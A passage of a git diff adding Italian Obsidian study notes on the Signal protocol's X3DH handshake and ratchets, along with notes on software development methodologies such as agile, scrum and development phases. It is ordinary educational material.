+3. 1️⃣ calcola contemporaneamente il risultato di 4 ipotetici [[scambio di chiave basato su Diffie-Hellman|scambi di chiave DH]], usando:
+	- [[identity key]] privata di 1️⃣, [[signed pre-key]] pubblica di 2️⃣
+		- [[autenticità|autentica]] [[session key]]
+	- [[coppia di chiavi effimere|chiave effimera]] privata di 1️⃣,  [[identity key]] pubblica di 2️⃣
+		- [[autenticità|autentica]] [[session key]]
+	- [[coppia di chiavi effimere|chiave effimera]] privata di 1️⃣,  [[signed pre-key]] pubblica di 2️⃣
+		- fornisce [[forward secrecy]]
+	- [[coppia di chiavi effimere|chiave effimera]] privata di 1️⃣,  [[one-time pre-key]] pubblica di 2️⃣
+		- previene [[replay attack]]
+4. 1️⃣ fornisce il risultato a una [[key derivation function]], generando la [[session key]].
+5. 1️⃣ inizia a inviare messaggi con la [[session key]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/negabilità.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/negabilità.md
new file mode 100644
index 0000000..f9e006f
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/negabilità.md	
@@ -0,0 +1 @@
+[[Garanzia]] opposta alla [[non-ripudiabilità]], ovvero che il mittente di un messaggio possa negare in seguito di averlo fatto.
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/non-ripudiabilità.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/non-ripudiabilità.md
new file mode 100644
index 0000000..7f8a532
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/non-ripudiabilità.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["non-repudiation"]
+---
+
+[[Garanzia]] che un messaggio possa essere stato scritto solo ed esclusivamente dal mittente, e che egli non possa in seguito negare di averlo fatto. 
+
+Caratteristica della [[firma digitale]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/one-time pre-key.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/one-time pre-key.md
new file mode 100644
index 0000000..e69de29
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/registrazione X3DH.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/registrazione X3DH.md
new file mode 100644
index 0000000..083b095
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/registrazione X3DH.md	
@@ -0,0 +1,13 @@
+---
+aliases: ["X3DH registration"]
+---
+
+[[Funzione]] [[X3DH]] attraverso la quale un [[user agent]] comunica la sua esistenza al [[server di interscambio]].
+
+## Funzionamento
+
+Richiede che l'[[user agent]] invii i seguenti dati:
+- [[identity information]]
+- [[identity key]]
+- [[signed pre-key]]
+- [[insieme]] di [[one-time pre-key|one-time pre-keys]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/ricezione X3DH.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/ricezione X3DH.md
new file mode 100644
index 0000000..dbcbdd5
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/ricezione X3DH.md	
@@ -0,0 +1,24 @@
+---
+aliases:
+  - X3DH start conversation message receiving
+---
+
+[[Funzione]] [[X3DH]] di [[crittografia ibrida]] attraverso la quale un [[user agent]] riesce a ricevere i messaggi di una conversazione avviata in sua assenza.
+
+## Funzionamento
+
+6. 2️⃣ richiede e scarica dal [[server di interscambio]]:
+	- [[identity information]] di 1️⃣
+	- [[identity key]] pubblica di 1️⃣
+	- [[coppia di chiavi effimere|chiave effimera]] pubblica di 1️⃣
+7. 2️⃣ calcola contemporaneamente il risultato di 4 ipotetici [[scambio di chiave basato su Diffie-Hellman|scambi di chiave DH]], usando:
+	- [[identity key]] pubblica di 1️⃣, [[signed pre-key]] privata di 2️⃣
+		- [[autenticità|autentica]] [[session key]]
+	- [[coppia di chiavi effimere|chiave effimera]] pubblica di 1️⃣,  [[identity key]] privata di 2️⃣
+		- [[autenticità|autentica]] [[session key]]
+	- [[coppia di chiavi effimere|chiave effimera]] pubblica di 1️⃣,  [[signed pre-key]] privata di 2️⃣
+		- fornisce [[forward secrecy]]
+	- [[coppia di chiavi effimere|chiave effimera]] pubblica di 1️⃣,  [[one-time pre-key]] privata di 2️⃣
+		- previene [[replay attack]]
+8. 2️⃣ fornisce il risultato a una [[key derivation function]], generando la [[session key]].
+9. 2️⃣ decifra i messaggi che 1️⃣ ha iniziato ad inviare in fase di [[invio X3DH]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/symmetric ratchet.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/symmetric ratchet.md
new file mode 100644
index 0000000..121b16c
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/symmetric ratchet.md	
@@ -0,0 +1,11 @@
+[[Funzione]] di [[key rotation]] nel [[double ratchet]] che garantisce [[forward secrecy]].
+
+## Funzionamento
+
+Cambia la [[chiave simmetrica]] ad ogni messaggio, fornendola ogni volta a una [[key derivation function]] che ne genera una nuova.
+
+Associa un contatore ad ogni messaggio, permettendo l'elaborazione di messaggi out-of-order.
+
+## Implementazione
+
+Implementato con [[HMAC]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/★ mappa concettuale.canvas b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/★ mappa concettuale.canvas
new file mode 100644
index 0000000..22155e8
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/★ mappa concettuale.canvas	
@@ -0,0 +1,54 @@
+{
+	"nodes":[
+		{"type":"group","id":"422c087bbacc1206","x":-1740,"y":2020,"width":2120,"height":1360,"color":"6","label":"Handshake"},
+		{"id":"660fca5bf9892bdb","x":540,"y":860,"width":1000,"height":1080,"color":"6","type":"group","label":"Forwards and backwards secrecy"},
+		{"type":"group","id":"91f73b331d05fad0","x":420,"y":2020,"width":680,"height":1360,"color":"6","label":"Comunicazione"},
+		{"id":"0728ede67e866516","x":-740,"y":-780,"width":1000,"height":440,"color":"5","type":"group","label":"Garanzie"},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/authenticated deniable key agreement.md","id":"42dc7d75f8cb1e8e","x":-160,"y":-200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/negabilità.md","id":"875f66bca2edd5f3","x":-160,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/non-ripudiabilità.md","id":"9629975943393eb3","x":-720,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/authenticated deniable key agreement basato su Diffie-Hellman.md","id":"de323687a44d134f","x":-160,"y":360,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal.md","id":"e0250b00daa8a547","x":-160,"y":920,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal protocol.md","id":"4e75a7c3e7194275","x":-160,"y":1480,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/ricezione X3DH.md","id":"7133534e2fbf864d","x":-280,"y":2600,"width":640,"height":760},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/registrazione X3DH.md","id":"ab6ef23ff8e1ba0c","x":-1720,"y":2600,"width":640,"height":760},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/invio X3DH.md","id":"e1d31edd49bf7d6e","x":-1000,"y":2600,"width":640,"height":760},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/X3DH.md","id":"3625c37f33b56deb","x":-1000,"y":2040,"width":640,"height":440},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/authenticated encryption with associated data.md","id":"c66a600f5323f6a8","x":440,"y":2600,"width":640,"height":760},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal AEAD.md","id":"130dc92c4ce521e5","x":440,"y":2040,"width":640,"height":440},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/double ratchet.md","id":"01f5d595be9aefc4","x":560,"y":920,"width":400,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Diffie-Hellman ratchet.md","id":"ff9f766dd413a342","x":1120,"y":1440,"width":400,"height":480},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/symmetric ratchet.md","id":"cdf90e6a9dbec005","x":1120,"y":880,"width":400,"height":480},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/identity information.md","id":"e26f7b4fd5dadd41","x":-880,"y":1480,"width":400,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/identity key.md","id":"3071c661b5db4e39","x":-880,"y":1720,"width":400,"height":160},
+		{"type":"text","text":"","id":"6809b45ac40f1bf5","x":1465,"y":2235,"width":50,"height":50},
+		{"type":"text","text":"","id":"92d35e90b8feb9ef","x":1440,"y":3400,"width":50,"height":50}
+	],
+	"edges":[
+		{"id":"9651da043f7e0f47","fromNode":"9629975943393eb3","fromSide":"right","toNode":"875f66bca2edd5f3","toSide":"left","fromEnd":"arrow"},
+		{"id":"e61a497b439a6532","fromNode":"875f66bca2edd5f3","fromSide":"bottom","toNode":"42dc7d75f8cb1e8e","toSide":"top","toEnd":"none"},
+		{"id":"305290a3edf05457","fromNode":"42dc7d75f8cb1e8e","fromSide":"bottom","toNode":"de323687a44d134f","toSide":"top","toEnd":"none"},
+		{"id":"71aed55591d32ce1","fromNode":"de323687a44d134f","fromSide":"bottom","toNode":"e0250b00daa8a547","toSide":"top","toEnd":"none"},
+		{"id":"e102726eb0b1057f","fromNode":"e0250b00daa8a547","fromSide":"bottom","toNode":"4e75a7c3e7194275","toSide":"top","toEnd":"none"},
+		{"id":"cd5dfd0ffe582634","fromNode":"4e75a7c3e7194275","fromSide":"left","toNode":"e26f7b4fd5dadd41","toSide":"right","toEnd":"none"},
+		{"id":"7c147a46f73438f1","fromNode":"3625c37f33b56deb","fromSide":"bottom","toNode":"ab6ef23ff8e1ba0c","toSide":"top","toEnd":"none"},
+		{"id":"4815c95ab847251e","fromNode":"4e75a7c3e7194275","fromSide":"right","toNode":"01f5d595be9aefc4","toSide":"left","toEnd":"none"},
+		{"id":"19ab9ff02d72f77b","fromNode":"3625c37f33b56deb","fromSide":"bottom","toNode":"e1d31edd49bf7d6e","toSide":"top","toEnd":"none"},
+		{"id":"5e05cf7c613edc5a","fromNode":"3625c37f33b56deb","fromSide":"bottom","toNode":"7133534e2fbf864d","toSide":"top","toEnd":"none"},
+		{"id":"35cb4f04154f3c59","fromNode":"e1d31edd49bf7d6e","fromSide":"right","toNode":"7133534e2fbf864d","toSide":"left","toEnd":"none"},
+		{"id":"9664d528469bb51e","fromNode":"4e75a7c3e7194275","fromSide":"bottom","toNode":"3625c37f33b56deb","toSide":"top","toEnd":"none"},
+		{"id":"a54cae84d2d0bae4","fromNode":"4e75a7c3e7194275","fromSide":"left","toNode":"3071c661b5db4e39","toSide":"right","toEnd":"none"},
+		{"id":"fd10d4a18845f1dd","fromNode":"e1d31edd49bf7d6e","fromSide":"left","toNode":"ab6ef23ff8e1ba0c","toSide":"right","toEnd":"none"},
+		{"id":"0a0d50cae9f00556","fromNode":"4e75a7c3e7194275","fromSide":"bottom","toNode":"130dc92c4ce521e5","toSide":"top","toEnd":"none"},
+		{"id":"44029e204c7f26c3","fromNode":"130dc92c4ce521e5","fromSide":"bottom","toNode":"c66a600f5323f6a8","toSide":"top","toEnd":"none"},
+		{"id":"a79478257ac8f4d9","fromNode":"01f5d595be9aefc4","fromSide":"right","toNode":"ff9f766dd413a342","toSide":"left","toEnd":"none"},
+		{"id":"c55da750d8c34b4b","fromNode":"01f5d595be9aefc4","fromSide":"right","toNode":"cdf90e6a9dbec005","toSide":"left","toEnd":"none"},
+		{"id":"f1846877348ef39f","fromNode":"cdf90e6a9dbec005","fromSide":"bottom","toNode":"ff9f766dd413a342","toSide":"top","toEnd":"none"},
+		{"id":"11649b82e2e1f694","fromNode":"130dc92c4ce521e5","fromSide":"right","toNode":"6809b45ac40f1bf5","toSide":"left","toEnd":"none"},
+		{"id":"8743390b522e5622","fromNode":"6809b45ac40f1bf5","fromSide":"right","toNode":"ff9f766dd413a342","toSide":"right","toEnd":"none"},
+		{"id":"e0f163742118c187","fromNode":"6809b45ac40f1bf5","fromSide":"right","toNode":"cdf90e6a9dbec005","toSide":"right","toEnd":"none"},
+		{"id":"f48f46dd2772346a","fromNode":"e1d31edd49bf7d6e","fromSide":"bottom","toNode":"92d35e90b8feb9ef","toSide":"bottom"},
+		{"id":"d6e6ccefde3fbacf","fromNode":"7133534e2fbf864d","fromSide":"bottom","toNode":"92d35e90b8feb9ef","toSide":"bottom"},
+		{"id":"aebe59a3f9e17e28","fromNode":"92d35e90b8feb9ef","fromSide":"right","toNode":"ff9f766dd413a342","toSide":"right"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Metodologie di sviluppo software/Artefatti/burndown chart.md b/8 - Metodologie di sviluppo software/Artefatti/burndown chart.md
new file mode 100644
index 0000000..21e4fe2
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Artefatti/burndown chart.md	
@@ -0,0 +1 @@
+Grafico che rappresenta la stima del lavoro rimasto da svolgere per terminare il [[product backlog]] nel tempo.
diff --git a/8 - Metodologie di sviluppo software/Artefatti/increment.md b/8 - Metodologie di sviluppo software/Artefatti/increment.md
new file mode 100644
index 0000000..14c7a35
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Artefatti/increment.md	
@@ -0,0 +1 @@
+Insieme di tutte le [[user story]] completate durante un'[[timeboxing|iterazione]].
diff --git a/8 - Metodologie di sviluppo software/Artefatti/product backlog.md b/8 - Metodologie di sviluppo software/Artefatti/product backlog.md
new file mode 100644
index 0000000..b7f4dd3
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Artefatti/product backlog.md	
@@ -0,0 +1,3 @@
+[[Artefatto]] che raccoglie tutte le [[user story]] e [[epic]] di un progetto.
+
+Aggiornato durante le riunioni di [[sprint planning]] e [[backlog grooming]].
\ No newline at end of file
diff --git a/8 - Metodologie di sviluppo software/Artefatti/user story.md b/8 - Metodologie di sviluppo software/Artefatti/user story.md
new file mode 100644
index 0000000..0f163d1
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Artefatti/user story.md	
@@ -0,0 +1,12 @@
+---
+aliases: ["issue"]
+---
+
+Tecnica di sviluppo per la [[fase di specifica]] e la [[fase di design]] in cui i requisiti vengono specificati come gli obiettivi che l'ideatore vuole raggiungere attraverso la sua [[soluzione]], e non come dettagli tecnici di implementazione.
+
+Sono raccolte in raggruppamenti detti [[epic]].
+
+## Esempio
+
+- Come utente del social network, voglio poter postare testo, in modo che i miei amici possano leggerlo
+- Come amministratore del social network, voglio poter cancellare i post, in modo da far rispettare il regolamento
diff --git a/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di design.md b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di design.md
new file mode 100644
index 0000000..8667c47
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di design.md	
@@ -0,0 +1,10 @@
+Fase di un [[processo di sviluppo software]] in cui si determina ***come è formata*** la [[soluzione]] che si vuole sviluppare.
+
+In essa:
+- si utilizzano [[design pattern]] per soddisfare il [[documento dei requsiti]] in una [[soluzione]] pratica
+- si compilano tutti i [[design pattern]] selezionati in un [[artefatto]] detto [[specifica]]
+
+Talvolta ci si avvale di [[diagramma|diagrammi]] per rendere più chiari i concetti modellati, come:
+- [[dataflow diagram]]
+- [[entity-relation diagram]]
+- [[UML diagram]]
diff --git a/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di implementazione.md b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di implementazione.md
new file mode 100644
index 0000000..0cd1ee1
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di implementazione.md	
@@ -0,0 +1,5 @@
+Fase di un [[processo di sviluppo software]] in cui si ***effettua lo sviluppo***.
+
+In essa, partendo dalla [[specifica]]:
+- si determinano le [[dipendenza|dipendenze]] da utilizzare nella [[soluzione]], verificando la compatibilità con la [[licenza]] con il progetto
+- si scrive il [[codice]] necessario a soddisfarla, [[artefatto|producendo]] la [[soluzione]] vera e propria
diff --git a/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di manutenzione.md b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di manutenzione.md
new file mode 100644
index 0000000..e07e42e
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di manutenzione.md	
@@ -0,0 +1,7 @@
+Fase di un [[processo di sviluppo software]] in cui si ***modifica*** la [[soluzione]] realizzata per correggere [[bug]] e [[errore|errori]].
+
+In essa:
+- si mantengono operativi eventuali [[server]] che [[software-as-a-service|prestano servizi]]
+- si raccolgono dagli utenti [[segnalazione|segnalazioni]] di [[bug]] ed [[errori]]
+- si inoltrano le [[segnalazione|segnalazioni]] all'[[code ownership|implementatore competente]]
+- si effettua una nuova [[release]] priva di problemi
diff --git a/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di rilascio.md b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di rilascio.md
new file mode 100644
index 0000000..0da693e
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di rilascio.md	
@@ -0,0 +1,11 @@
+---
+aliases: ["fase di release"]
+---
+
+Fase di un [[processo di sviluppo software]] in cui si ***consegna*** all'ideatore la [[soluzione]] realizzata.
+
+In essa:
+- si [[artefatto|producono]] le [[istruzioni]] per l'installazione e l'utilizzo del software
+- si [[artefatto|produce]] la documentazione necessaria a rispettare le [[licenza|licenze]] delle [[dipendenza|dipendenze]] utilizzate
+- si raccolgono tutti gli [[artefatto|artefatti]] prodotti in un unico pacchetto, detto [[release]]
+- si rende disponibile il pacchetto all'ideatore
diff --git a/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di specifica.md b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di specifica.md
new file mode 100644
index 0000000..2c7af66
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di specifica.md	
@@ -0,0 +1,8 @@
+Fase di un [[processo di sviluppo software]] in cui si determina ***cosa*** si deve sviluppare.
+
+In essa:
+- si determinano i [[vincolo|vincoli]] da rispettare durante lo sviluppo
+- si [[studio di fattibilità|studia la fattibilità]] del progetto
+- si raccolgono i [[requisito|requisiti]] dall'ideatore del progetto
+- si determinano i metodi per la [[validazione dei requisiti]] dall'ideatore del progetto
+- si compilano tutte le informazioni raccolte in un [[artefatto]] detto [[documento dei requsiti]]
diff --git a/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di testing.md b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di testing.md
new file mode 100644
index 0000000..0d3acbb
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di testing.md	
@@ -0,0 +1,5 @@
+Fase di un [[processo di sviluppo software]] in cui si ***verifica*** che la soluzione sviluppata soddisfi il [[documento dei requsiti]] senza comportamenti inaspettati.
+
+In essa:
+- si sviluppano [[test]] di vari tipi
+- si eseguono i [[test]], segnalando ogni fallimento all'[[fase di implementazione|implementatore]] in modo che possa sistemarlo
diff --git a/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello basato sui componenti.md b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello basato sui componenti.md
new file mode 100644
index 0000000..da52796
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello basato sui componenti.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["component-based model"]
+---
+
+Sostituisce la [[fase di implementazione]] con la selezione e l'integrazione di componenti già sviluppate precedentemente (eventualmente esternamente).
+
+## #Extra Casi d'uso
+
+Funziona bene quando il progetto non è innovativo, ed esistono già numerosissime soluzioni che risolvono il [[problema]], come ad esempio nella creazione di un [[blog]] o un sito di [[e-commerce]].
diff --git a/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello code-and-fix.md b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello code-and-fix.md
new file mode 100644
index 0000000..428e6b8
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello code-and-fix.md	
@@ -0,0 +1,6 @@
+Rifiuto dell'utilizzo di un [[modello di sviluppo]], in cui si sviluppa in base a quelle che si pensano siano le proprie necessità senza design o progettazione.
+
+## Casi d'uso
+
+#Extra Efficace in piccoli progetti con sviluppatore singolo, in quanto evitando le fasi formali permette di realizzare velocemente qualcosa di funzionante.
+
diff --git a/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello di sviluppo.md b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello di sviluppo.md
new file mode 100644
index 0000000..f4d8466
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello di sviluppo.md	
@@ -0,0 +1 @@
+Descrizione formale di come viene applicato il [[processo di sviluppo software]] in una [[organizzazione]].
diff --git a/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello evolutivo.md b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello evolutivo.md
new file mode 100644
index 0000000..790f626
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello evolutivo.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["evolutionary model"]
+---
+
+[[modello iterativo]] in cui la [[soluzione]] realizzata viene ricreata a [[timeboxing|intervalli regolari]], sfruttando le conoscenze ottenute nell'intervallo precedente per trovare una [[soluzione]] migliore.
+
+## #Extra Casi d'uso
+
+Trova ottimo impiego nel [[game development]], in quanto i [[requisito|requsiti]] sono soggetti a così tanti cambiamenti da essere solitamente più veloce realizzare tanti piccoli [[prototipo|prototipi]] rispetto a migliorarne uno unico.
diff --git a/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello incrementale.md b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello incrementale.md
new file mode 100644
index 0000000..b96b600
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello incrementale.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["incremental model"]
+---
+
+[[modello iterativo]] in cui la [[soluzione]] realizzata viene migliorata a [[timeboxing|intervalli regolari]], realizzando ad ogni passo una [[soluzione]] sempre più funzionale.
+
+## #Extra Casi d'uso
+
+Trova ottimo impiego nello sviluppo di [[software-as-a-service]], in quanto è sempre necessario mantenere la [[retrocompatibilità]] ma al tempo stesso c'è bisogno di adattare la [[soluzione]] alle circostanze reali correnti.
diff --git a/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello iterativo.md b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello iterativo.md
new file mode 100644
index 0000000..ea5b7c8
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello iterativo.md	
@@ -0,0 +1,14 @@
+---
+aliases: ["iterative model"]
+---
+
+[[modello di sviluppo]] che ripete le [[processo di sviluppo software|fasi di sviluppo]] a [[timeboxing|intervalli regolari]].
+
+I modelli iterativi si distinguono generalmente in:
+- [[modello evolutivo|modelli evolutivi]]
+- [[modello incrementale|modelli incrementali]]
+
+## #Extra Casi d'uso
+
+Applicabile con successo quando i [[requisito|requisiti]] sono soggetti a frequenti cambiamenti.
+
diff --git a/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello trasformativo.md b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello trasformativo.md
new file mode 100644
index 0000000..2057d92
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello trasformativo.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["transformational model"]
+---
+
+[[modello di sviluppo]]...?
+
+> Non chiaro. Non ho idea di cosa sia.
diff --git a/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello waterfall.md b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello waterfall.md
new file mode 100644
index 0000000..2b90488
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Modelli di sviluppo/modello waterfall.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["waterfall", "a cascata"]
+---
+
+Separa nettamente e irreversibilmente le fasi dello sviluppo.
+
+## #Extra Casi d'uso
+
+Applicabile con successo nello sviluppo di software embedded, dove il prodotto consegnato è immodificabile.
diff --git a/8 - Metodologie di sviluppo software/Processi di sviluppo/agile unified process.md b/8 - Metodologie di sviluppo software/Processi di sviluppo/agile unified process.md
new file mode 100644
index 0000000..6f0249a
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Processi di sviluppo/agile unified process.md	
@@ -0,0 +1,20 @@
+---
+aliases: ["AUP"]
+---
+
+Adatta l'[[unified process]] alla filosofia [[agile]].
+
+Riduce la durata dei cicli a circa 1 mese, aumentandone il numero totale.
+
+Semplifica la documentazione del [[processo di sviluppo software]], riducendola a un paio di pagine e permettendone un facile adeguamento alla propria azienda.
+
+## Ruoli
+
+Definisce sette ruoli professionali:
+- Analysis
+- Implementation
+- Testing
+- Deployment
+- Configuration management (CI/CD)
+- Project management
+- Environment (Supporto)
diff --git a/8 - Metodologie di sviluppo software/Processi di sviluppo/agile.md b/8 - Metodologie di sviluppo software/Processi di sviluppo/agile.md
new file mode 100644
index 0000000..76f7e15
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Processi di sviluppo/agile.md	
@@ -0,0 +1,10 @@
+Filosofia per lo sviluppo di [[processo di sviluppo software|processi di sviluppo software]] nata negli anni [[decennio 200X]].
+
+Enfatizza le necessità:
+- di [[timeboxing|iterazioni]] più brevi, di un paio di settimane invece che di mesi o anni
+- di maggiore flessibilità rispetto a [[requisito|requisiti]] che cambiano
+- #Extra di un livello sociale alla pari tra tutti coloro che partecipano a un progetto, da sviluppatori, a clienti, a CEO
+
+## Vedi anche
+
+- [**Manifesto for Agile Software Development**](https://web.archive.org/web/20230525152814/https://agilemanifesto.org/)
\ No newline at end of file
diff --git a/8 - Metodologie di sviluppo software/Processi di sviluppo/backlog grooming.md b/8 - Metodologie di sviluppo software/Processi di sviluppo/backlog grooming.md
new file mode 100644
index 0000000..523313d
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Processi di sviluppo/backlog grooming.md	
@@ -0,0 +1 @@
+[[Riunione]] di [[scrum]] in cui si aggiornano le [[user story]] presenti nel [[product backlog]].
diff --git a/8 - Metodologie di sviluppo software/Processi di sviluppo/daily scrum.md b/8 - Metodologie di sviluppo software/Processi di sviluppo/daily scrum.md
new file mode 100644
index 0000000..7b332b4
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Processi di sviluppo/daily scrum.md	
@@ -0,0 +1 @@
+Brevissima [[riunione]] di [[scrum]] in cui si discute degli obiettivi che si perseguiranno in quello specifico giorno per evitare sovrapposizioni e incomprensioni all'interno del team. 
diff --git a/8 - Metodologie di sviluppo software/Processi di sviluppo/epic.md b/8 - Metodologie di sviluppo software/Processi di sviluppo/epic.md
new file mode 100644
index 0000000..361e9a0
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Processi di sviluppo/epic.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["feature"]
+---
+
+Raccolta di [[user story]] necessarie a realizzare una specifica funzione dell'applicazione.
+
+Spesso include un [[design package]].
diff --git a/8 - Metodologie di sviluppo software/Processi di sviluppo/feature-driven development.md b/8 - Metodologie di sviluppo software/Processi di sviluppo/feature-driven development.md
new file mode 100644
index 0000000..f7cb92d
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Processi di sviluppo/feature-driven development.md	
@@ -0,0 +1,3 @@
+[[processo di sviluppo software]] [[agile]] che enfatizza sulla necessità di considerare le [[epic|feature]] in ogni fase dello [[processo di sviluppo software|sviluppo]].
+
+Mette anche enfasi sulla necessità di poter aggiungere feature a progetto iniziato.
diff --git a/8 - Metodologie di sviluppo software/Processi di sviluppo/processo di sviluppo software.md b/8 - Metodologie di sviluppo software/Processi di sviluppo/processo di sviluppo software.md
new file mode 100644
index 0000000..74b5d10
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Processi di sviluppo/processo di sviluppo software.md	
@@ -0,0 +1,12 @@
+[[Procedura]] attraverso la quale viene sviluppato collaborativamente un [[software]] (solitamente di grandi dimensioni).
+
+## Fasi di sviluppo
+
+Il processo di sviluppo è solitamente composto dalle seguenti fasi:
+
+- ***[[fase di specifica]]***
+- ***[[fase di design]]***
+- ***[[fase di implementazione]]***
+- ***[[fase di testing]]***
+- #Extra ***[[fase di rilascio]]***
+- ***[[fase di manutenzione]]***
diff --git a/8 - Metodologie di sviluppo software/Processi di sviluppo/scrum of scrum.md b/8 - Metodologie di sviluppo software/Processi di sviluppo/scrum of scrum.md
new file mode 100644
index 0000000..43c2c6e
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Processi di sviluppo/scrum of scrum.md	
@@ -0,0 +1 @@
